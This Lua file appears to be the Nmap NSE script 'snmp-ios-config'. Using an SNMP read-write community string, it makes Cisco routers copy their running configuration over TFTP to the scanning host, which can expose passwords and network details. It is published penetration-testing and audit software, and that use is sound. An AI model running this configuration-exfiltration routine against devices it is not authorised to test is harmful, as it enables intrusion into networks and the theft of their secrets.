179 lines
5.8 KiB
Lua
179 lines
5.8 KiB
Lua
local io = require "io"
|
|
local nmap = require "nmap"
|
|
local shortport = require "shortport"
|
|
local snmp = require "snmp"
|
|
local stdnse = require "stdnse"
|
|
local stringaux = require "stringaux"
|
|
local table = require "table"
|
|
local tftp = require "tftp"
|
|
|
|
description = [[
|
|
Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them.
|
|
]]
|
|
|
|
---
|
|
-- @usage
|
|
-- nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:<community> <target>
|
|
--
|
|
-- @output
|
|
-- | snmp-ios-config:
|
|
-- | !
|
|
-- | version 12.3
|
|
-- | service timestamps debug datetime msec
|
|
-- | service timestamps log datetime msec
|
|
-- | no service password-encryption
|
|
-- | !
|
|
-- | hostname Router
|
|
-- | !
|
|
-- | boot-start-marker
|
|
-- | boot-end-marker
|
|
-- <snip>
|
|
--
|
|
-- @args snmp-ios-config.tftproot If set, specifies to what directory the downloaded config should be saved
|
|
|
|
--
|
|
-- Version 0.2
|
|
-- Created 01/03/2011 - v0.1 - created by Vikas Singhal
|
|
-- Revised 02/22/2011 - v0.2 - cleaned up and added support for built-in tftp, Patrik Karlsson <patrik@cqure.net>
|
|
|
|
author = {"Vikas Singhal", "Patrik Karlsson"}
|
|
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
|
|
categories = {"intrusive"}
|
|
|
|
dependencies = {"snmp-brute"}
|
|
|
|
|
|
portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
|
|
|
|
local function fail (err) return stdnse.format_output(false, err) end
|
|
---
|
|
-- Sends SNMP packets to host and reads responses
|
|
action = function(host, port)
|
|
|
|
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
|
|
|
|
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
|
|
return fail("tftproot needs to end with slash")
|
|
end
|
|
|
|
local snmpHelper = snmp.Helper:new(host, port)
|
|
snmpHelper:connect()
|
|
|
|
local status, tftpserver, _, _, _ = snmpHelper.socket:get_info()
|
|
if( not(status) ) then
|
|
return fail("Failed to determine local ip")
|
|
end
|
|
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
|
|
|
|
local request = snmpHelper:set({reqiId=28428},".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
|
|
|
|
-- Fail silently if the first request doesn't get a proper response
|
|
if ( not(request) ) then return end
|
|
|
|
-- since we got something back, the port is definitely open
|
|
nmap.set_port_state(host, port, "open")
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
|
|
|
|
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
|
|
|
|
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
|
|
|
|
local tbl = {}
|
|
tbl._snmp = '40'
|
|
for octet in tftpserver:gmatch("%d+") do
|
|
table.insert(tbl, octet)
|
|
end
|
|
|
|
request = snmpHelper:set({reqId=28428}, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
|
|
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
|
|
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
|
|
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
|
|
|
|
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
|
|
|
|
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
|
|
|
|
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
|
|
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
|
|
|
|
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
|
|
|
|
-- wait for sometime and print the status of filetransfer
|
|
tftp.start()
|
|
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
|
|
|
|
-- build a SNMP v1 packet
|
|
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
|
|
|
|
local response
|
|
status, response = snmpHelper:get({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")
|
|
|
|
if (not status) or (response == "TIMEOUT") then
|
|
return fail("Failed to receive cisco configuration file")
|
|
end
|
|
|
|
local result = response and response[1] and response[1][1]
|
|
if not result then
|
|
return
|
|
end
|
|
|
|
if result == 3 then
|
|
result = ( infile and infile:getContent() )
|
|
|
|
if ( tftproot ) then
|
|
local fname = tftproot .. stringaux.filename_escape(host.ip .. "-config")
|
|
local file, err = io.open(fname, "w")
|
|
if ( file ) then
|
|
file:write(result)
|
|
file:close()
|
|
else
|
|
return fail(file)
|
|
end
|
|
result = ("\n Configuration saved to (%s)"):format(fname)
|
|
end
|
|
else
|
|
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
|
|
end
|
|
|
|
-------------------------------------------------
|
|
-- build a SNMP v1 packet
|
|
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
|
|
|
|
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
|
|
|
|
|
|
return result
|
|
end
|
|
|